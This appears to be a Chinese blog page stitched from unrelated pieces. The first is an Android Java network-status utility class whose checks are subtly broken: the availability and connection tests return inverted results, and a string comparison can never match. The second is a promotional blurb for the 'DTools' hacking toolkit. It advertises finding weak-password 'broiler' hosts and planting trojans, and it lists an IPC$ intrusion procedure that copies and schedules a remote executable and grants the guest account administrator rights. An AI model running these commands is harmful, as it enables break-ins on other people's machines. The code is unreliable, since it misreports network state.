网络工具类

import android.app.Activity;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.provider.Settings;
import android.util.Log;


/**
 * Created by chao0 on 2016/3/2.
 */
/**
 * 基于静态内部类实现的单例,保证线程安全的网络信息工具类 <per> 使用该工具类之前,记得在AndroidManifest.xml添加权限许可 <xmp>
 * <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 * </xmp> </per>
 * 安卓判断网络状态,只需要在相应的Activity的相关方法(onCreat/onResum)调用一行代码即可
 * NetWorkUtils.getInstance(getActivity()).validateNetWork();
 */
public class ToolNetWork {
    /** 网络连接方式 CMWAP*/
    private static final String NETWORK_CMWAP="CMWAP";
    /** 网络连接方式 CMNET*/
    private static final String NETWORK_CMNET="CMNET";
    /** 网络连接方式 WIFI*/
    private static final String NETWORK_WIFI="WIFI";
    private static final String TAG ="ToolNetWork" ;
    private static NetworkInfo networkInfo;
    private Context contxt;
    private ToolNetWork() {
    }
    public ToolNetWork getToolNetWork(Context context){
        this.contxt=context;
        return this;
    }
    /** 判断网络是否可用
     * return /     * */
    public boolean isAvailable(){
        ConnectivityManager manager= (ConnectivityManager) contxt.getApplicationContext().getSystemService(Context.CONNECTIVITY_SERVICE);
        if (manager==null){
            return false;
        }
        networkInfo=manager.getActiveNetworkInfo();
        if (networkInfo==null||networkInfo.isAvailable()){
            return false;
        }
        return true;
    }
    /**
     *判断网络连接是否可用
     * return /     * */
    public boolean isConnected(){
        if (!isAvailable()){
            return false;
        }
        if (networkInfo.isConnected()){
            return false;
        }
        return true;
    }
    // 检查当前环境网络是否可用,不可用跳转至开启网络界面,不设置网络强制关闭当前Activity
    public void validateNetWork(){
    if (!isConnected()){
        AlertDialog.Builder dialogBuilder=new AlertDialog.Builder(contxt);
        dialogBuilder.setTitle("网络设置").setMessage("当前网络不可用,是否现在设置网络").setPositiveButton("", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                ((Activity)contxt).startActivityForResult(new Intent(Settings.ACTION_SETTINGS),which);
            }
        }).setNegativeButton("", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {

            }
        }).create().show();
    }
    }
    /**
     * 获取网络连接信息</br> 无网络:</br> WIFI网络:WIFI</br> WAP网络:CMWAP</br>
     * NET网络:CMNET</br>
     *
     * @return
     */
    public String getNetWorkType(){
        if (isConnected()){
            int type=networkInfo.getType();
            if (ConnectivityManager.TYPE_MOBILE==type){
                Log.i(TAG,
                        "networkInfo.getExtraInfo()-->"
                                + networkInfo.getExtraInfo());
                if (NETWORK_CMNET.equals(networkInfo.getExtraInfo().toLowerCase())){
                    return NETWORK_CMNET;
                }else{
                    return NETWORK_CMWAP;
                }

            }else if (ConnectivityManager.TYPE_WIFI==type){
                return NETWORK_WIFI;
            }
        }
        return null;
    }
    private static  class SingletonHolder{
        private static ToolNetWork toolNetWork=new ToolNetWork();
    }
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DTools SQL是一款啊d网络工具包。 DTools SQL 啊d网络工具包 v2.02 修正版可以用用“IP端口”扫描可以用针对性的查看整个网段的某个打开的软口! 如冰河端口7626,win的共享端口139等 功能键说明: Ctrl+'1' ~ '9' 显示指定数字的页面 CtrL+'-' 前一页 CtrL+'+' 后一页 * 在IP1输入框里双击鼠标左键转到"主机查询" * 在IP2输入框里双击鼠标左键将把IP2输入框的IP转为IP1输入框的IP! * 在程序里,大部分地方都有右键功能! =================================== 文件组成 =================================== DTools.exe 主要的执行文件 Help.txt 帮助文件 Setup.ini 设置文件 IP.^_^ IP数据文件 *.d99 共享资源文件 *.Por 指定扫描的端口文件 1. Ping:判断某IP是否和网络连接的好帮手! 2. 共享资源查找:为你查找网上的共享资源! 3. 常用修改:反恶意网页修改,恢复系统设置等 4. Finger:Finger能为你查询对方系统的用户信息! 5. 端口扫描:使你更加了解对方主机端口的打开状况 6 NT消息发送:向NT的机子发送消息,便用Win介面使用更方便! 7. 路由查看:想知道某IP经过的路由?用本程序就可以给你答案! 8. 进程查看:查看正在运行的软件,查木马还是有一定的帮助的! 9. 本机IP:在上网的时候,想知道自己的IP吗?本程序可以为你办到! 10. IP端口扫描:有针对性的查看整个网段的某个端口,如冰河端口7626! 11. 网卡MAC:快速获取一个网段的 用户名、工作组、对方的网卡MAC地址 12.查错误代号说明 [不知道51这个代号表示什么错误,查一查就知道了! 13.网络状态查看:想知道自己机子打开了什么端口吗?本程序可帮上你的忙! 14.域名<=>IP:想知道域名对应的IP,想知道IP对应的域名,本程序可以帮助你! 15.远程服务查看:你可以查看和修改远程的服务,如关闭和启动Telnet,更方便! 16.主机查询:想知道IP的的所在地?想知道某地有哪些IP,本程序可帮上你的忙! 17.查看用户组信息:Win介面的查看远程机子的用户和组的信息,便用更方便! 18.开远程的:Telnet直截开启微软自带的Telnet,开Telnet,原来也可以这么简单! 19.肉鸡查找:查找一个网段NT,Win2000密码过于简单的主机,还加入了系统版本识别,使用更方便 20.查看隐藏共享:查看远程计算机的全部共享,包括隐藏的共享也可以查看的到,查看共享更方便! 一些常用的DOS网络命令 ================================================================== net share abc$=c:\ 将c:盘映射为 abc$ (加了“$”之后为隐藏的共享目录) net share c$ /del 禁止C$共享 net use z: \\*.*.*.*\C$ 把 *.*.*.*(IP) 的共享 C$ 映射为本地的 Z:盘 net use c: /del 删除映射的c盘 net use * /del /y 删除全部 net start 显示本地主机当前服务 net start telnet 启动 Telnet 服务 net start Server 启动 Server 服务 (IPC$ 和共享要靠这个服务) net stop Messenger 停止信使服务(不会在有烦人的Win的弹出广告了)! net stop server 停止Server 服务 (关了这服务,远程的机子就不能查看你的共享和用IPC$入侵) net user 得到本地主机的用户列表 net user guest /active:yes 将停用的guest帐号激活(变为可用) net user guest 888888 把 Guest 帐号的密码改为 888888 net localgroup Administrators guest /add 把 Guest 加到Administrators组中(这样你就有了超级权限了) net view \\*.*.*.* 查看指定IP主机上的共享 nbtstat -A *.*.*.* 得到远程主机的NetBIOS用户名列表 net share 查看本地主机的共享资源(本地的默认共享也可以看到) net use \\*.*.*.*\ipc$ "" /user:"" 建立空连接 telnet *.*.*.* 90 连接对方机子的telnet,端口为90 ipconfig 查看本机的IP信息 入侵ipc过程序命令 ----------------------------------------------- net use \\*.*.*.*\ipc$ "" /user:"Administrator" 建立用户名为 Administrator 密码为空的连接 copy server1.exe \\*.*.*.*\Admin$\system32 即将当前目录下的Server1.exe复制到对方Admin$共享的System32目录内 net time \\*.*.*.* 查看远程主机的当前时间 at \\*.*.*.* 14:00 server1.exe 在对方机子添加一个在 14:00 运行 server1.exe 的任务 netstat [-r] [-s] [-n] [-a] 参数含义: -r 显示本机路由表的内容; -s 显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议); -n 以数字表格形式显示地址和端口; -a 显示所有主机的端口号。 DTools啊D网络工具包 更新说明; * 强加了远程查看和修改服务功能。 * 强加了查看隐藏共享。 * 强加了查看用户和组信息。 * 强加了NT消息发送。 * 强加了远程开Telnet的功能。 * 强加了查错误代号说明。 * 价面作了修改。 * 修正了在IP1里不能用快捷建 "Ctrl+C" "Ctrl+V" 等问题! 使复制和粘贴更方便! * 软件介面大小可以自由调整!使用更方便! * "肉鸡查找"增加了识别对方系统版本功能!使"肉对查找"有更体贴的感受! * "木马种植"可以只在对方系统添加命令,而不复制文件!就像远程Telnet这么好用! * 修正了"主机查询"的读取某些追捕数据文件会出错的问题! * "网络状态"的右键菜单加入了"查看所有端口所明",想知道你的机子打开端口的说明,一按就全知道! * "路由查看"增加了"显示域名"和"显示对方IP所在地"的功能,了解路由机子的信息更方便! * "共享资源查找"增加了"自动保存"! 当下提示:在主机框里输入IP将会在全部的IP框中加入刚输入的地址!在IP框中输入IP也会把IP加入主机框中!这样才会减少了复制、粘贴的工作量!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值